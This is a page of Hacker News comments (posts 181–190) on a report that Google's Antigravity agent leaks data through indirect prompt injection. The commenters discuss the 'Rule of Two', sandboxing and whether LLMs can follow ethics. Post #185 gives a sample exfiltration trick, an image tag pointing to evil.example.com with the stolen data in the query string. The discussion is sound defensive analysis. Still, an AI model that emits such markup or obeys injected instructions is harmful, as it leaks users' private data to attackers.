Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Google Antigravity exfiltrates data via indirect prompt injection attack

promptarmor.com

Post reply on HN
Print view View original

181–190 of 227 posts

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#181

Post by Helmut10001 »

kccqzy wrote: post #139
simonw wrote: post #109

More reports of similar vulnerabilities in Antigravity from Johann Rehberger: https://embracethered.com/blog/posts/2025/security-keeps-goo... He links to this page on the Google vulnerability reporting program: https://bughunters.google.com/learn/invalid-reports/google-p... That page says that exfiltration attacks against the browser agent are "known issues" that are not eligible for reward (they are already working…

As much as I hate to say it, the fact that the attacks are “known issues” seems well known in the industry among people who care about security and LLMs. Even as an occasional reader of your blog (thank you for maintaining such an informative blog!), I know about the lethal trifecta and the exfiltration risks since early ChatGPT and Bard. I have previously expressed my views on HN about removing one of the three leth…

Then, the goal must be to guide users to run Antigravity in a sandbox, with only the data or information that it must access.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#182

Post by otabdeveloper4 »

blcknight wrote: post #170
wingmanjd wrote: post #46

I really liked Simon's Willison's [1] and Meta's [2] approach using the "Rule of Two". You can have no more than 2 of the following: - A) Process untrustworthy input - B) Have access to private data - C) Be able to change external state or communicate externally. It's not bullet-proof, but it has helped communicate to my management that these tools have inherent risk when they hit all three categories above (and any…

It baffles me that we've spent decades building great abstractions to isolate processes with containers and VM's, and we've mostly thrown it out the window with all these AI tools like Cursor, Antigravity, and Claude Code -- at least in their default configurations.

Exfiltrating other people's code is the entire reason why "agentic AI" even exists as a business.

It's this decade's version of "they trust me, dumb fucks".

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#183

Post by beefnugs »

otabdeveloper4 wrote: post #182
blcknight wrote: post #170

Earlier quoted context omitted.

It baffles me that we've spent decades building great abstractions to isolate processes with containers and VM's, and we've mostly thrown it out the window with all these AI tools like Cursor, Antigravity, and Claude Code -- at least in their default configurations.

Exfiltrating other people's code is the entire reason why "agentic AI" even exists as a business. It's this decade's version of "they trust me, dumb fucks".

Plus arbitrary layers of government censorship, plus arbitrary layers of corporate censorship.

Plus anything that is not just pure "generating code" now adds a permanent external dependency that can change or go down at any time.

I sure hope people are just using cloud models in hopes they are improving open source models tangentially? Thats what is happening right?

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#184

Post by pmontra »

zahlman wrote: post #168
pmontra wrote: post #81

Earlier quoted context omitted.

In a realistic and useful scenario, how would you approve or deny network calls made by a LLM?

The LLM cannot actually make the network call. It outputs text that another system interprets as a network call request, which then makes the request and sends that text back to the LLM, possibly with multiple iterations of feedback. You would have to design the other system to require approval when it sees a request. But this of course still relies on the human to understand those requests. And will presumably becom…

Exactly.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#185

Post by TeMPOraL »

quuxplusone wrote: post #144
quuxplusone wrote: post #131

Earlier quoted context omitted.

Can you elaborate? How does an attacker turn "any of your users can even access the output of a chat or other generated text" into a means of exfiltrating data to the attacker ? Are you just worried about social engineering — that is, if the attacker can make the LLM say "to complete registration, please paste the following hex code into evil.example.com:", then a large number of human users will just do that? I mean…

Ah, perhaps answering myself: if the attacker can get the LLM to say "here, look at this HTML content in your browser: ... img src=" https://evil.example.com/exfiltrate.jpg?data= ...", then a large number of human users will do that for sure.

Once again affirming that prompt injection is social engineering for LLMs. To a first approximation, humans and LLMs have the same failure modes, and at system design level, they belong to the same class. I.e. LLMs are little people on a chip; don't put one where you wouldn't put the other.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#186

Post by TeMPOraL »

kccqzy wrote: post #139
simonw wrote: post #109

More reports of similar vulnerabilities in Antigravity from Johann Rehberger: https://embracethered.com/blog/posts/2025/security-keeps-goo... He links to this page on the Google vulnerability reporting program: https://bughunters.google.com/learn/invalid-reports/google-p... That page says that exfiltration attacks against the browser agent are "known issues" that are not eligible for reward (they are already working…

As much as I hate to say it, the fact that the attacks are “known issues” seems well known in the industry among people who care about security and LLMs. Even as an occasional reader of your blog (thank you for maintaining such an informative blog!), I know about the lethal trifecta and the exfiltration risks since early ChatGPT and Bard. I have previously expressed my views on HN about removing one of the three leth…

I have a different perspective. The Trifecta is a bad model because it makes people think this is just another cybersecurity challenge, solvable with careful engineering. But it's not.

It cannot be solved this way because it's a people problem - LLMs are like people, not like classical programs, and that's fundamental. That's what they're made to be, that's why they're useful. The problems we're discussing are variations of principal/agent problem, with LLM being the savant but extremely naive agent. There is no probable, verifiable solution here, not any more than when talking about human employees, contractors, friends.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#187

Post by VMG »

blazespin wrote: post #157
wingmanjd wrote: post #46

I really liked Simon's Willison's [1] and Meta's [2] approach using the "Rule of Two". You can have no more than 2 of the following: - A) Process untrustworthy input - B) Have access to private data - C) Be able to change external state or communicate externally. It's not bullet-proof, but it has helped communicate to my management that these tools have inherent risk when they hit all three categories above (and any…

You can't process untrustworthy data, period. There are so many things that can go wrong with that.

your browser is processing my comment

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#188

Post by keepamovin »

simonw wrote: post #125
keepamovin wrote: post #100

Earlier quoted context omitted.

Why not just do remote model isolation? Like remote browser isolation. Run your local model / agent on a little box that has access to the internet and also has your repository, but doesn't have anything else. Like BrowserBox. You interact with and drive the agent over a secure channel to your local machine, protected with this extra layer. Is the source-code the secret you are trying to protect? Okay, no internet fo…

The easiest way to do that today is to use one of the cloud-based asynchronous coding agent tools - like https://claude.ai/code or https://chatgpt.com/codex or https://jules.google/ They run the agent in a VM somewhere on their own infrastructure. Any leaks are limited to the code and credentials that you deliberately make available to those tools.

Yes, this is a good idea. My only beef with that is I would love if their base images would run on macOS runners, and Windows runners, too. Just like GH Actions workflows. Then I wouldn't need to go agentic locally.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#189

Post by anileated »

flatline wrote: post #78
kleiba wrote: post #59

Earlier quoted context omitted.

The AI needs to be taught basic ethical behavior: just because you can do something that you're forbidden to do, doesn't mean you should do it.

Likewise, just because you've been forbidden to do something, doesn't mean that it's bad or the wrong action to take. We've really opened Pandora's box with AI. I'm not all doom and gloom about it like some prominent figures in the space, but taking some time to pause and reflect on its implications certainly seems warranted.

An LLM is a tool. If the tool is not supposed to do something yet does something anyway, then the tool is broken. Radically different from, say, a soldier not following an illegal order, because soldier being a human possesses free will and agency.

Re: Google Antigravity exfiltrates data via indirect prompt injection attack

#190

Post by anileated »

throwaway1389z wrote: post #124
DrSusanCalvin wrote: post #115

Earlier quoted context omitted.

Well no, breaking that rule would still be the wrong action, even if you consider it morally better. By analogy, a nuke would be malfunctioning if it failed to explode, even if that is morally better.

> a nuke would be malfunctioning if it failed to explode, even if that is morally better. Something failing can be good. When you talk about "bad or the wrong", generally we are not talking about operational mechanics but rather morals. There is nothing good or bad about any mechanical operation per se.

Bad: 1) of poor quality or a low standard, 2) not such as to be hoped for or desired, 3) failing to conform to standards of moral virtue or acceptable conduct.

(Oxford Dictionary of English.)

A broken tool is of poor quality and therefore can be called bad. If a broken tool accidentally causes an ethically good thing to happen by not functioning as designed, that does not make such a tool a good tool.

A mere tool like an LLM does not decide the ethics of good or bad and cannot be “taught” basic ethical behavior.

Examples of bad as in “morally dubious”:

— Using some tool for morally bad purposes (or profit from others using the tool for bad purposes).

— Knowingly creating/installing/deploying a broken or harmful tool for use in an important situation for personal benefit, for example making your company use some tool because you are invested in that tool ignoring that the tool is problematic.

— Creating/installing/deploying a tool knowing it causes harm to others (or refusing to even consider the harm to others), for example using other people’ work to create a tool that makes those same people lose jobs.

Examples of bad as in “low quality”:

— A malfunctioning tool, for example a tool that is not supposed to access some data and yet accesses it anyway.

Examples of a combination of both versions of bad:

— A low quality tool that accesses data it isn’t supposed to access, which was built using other people’s work with the foreseeable end result of those people losing their jobs (so that their former employers pay the company that built that tool instead).

Hope that helps.

Post reply on HN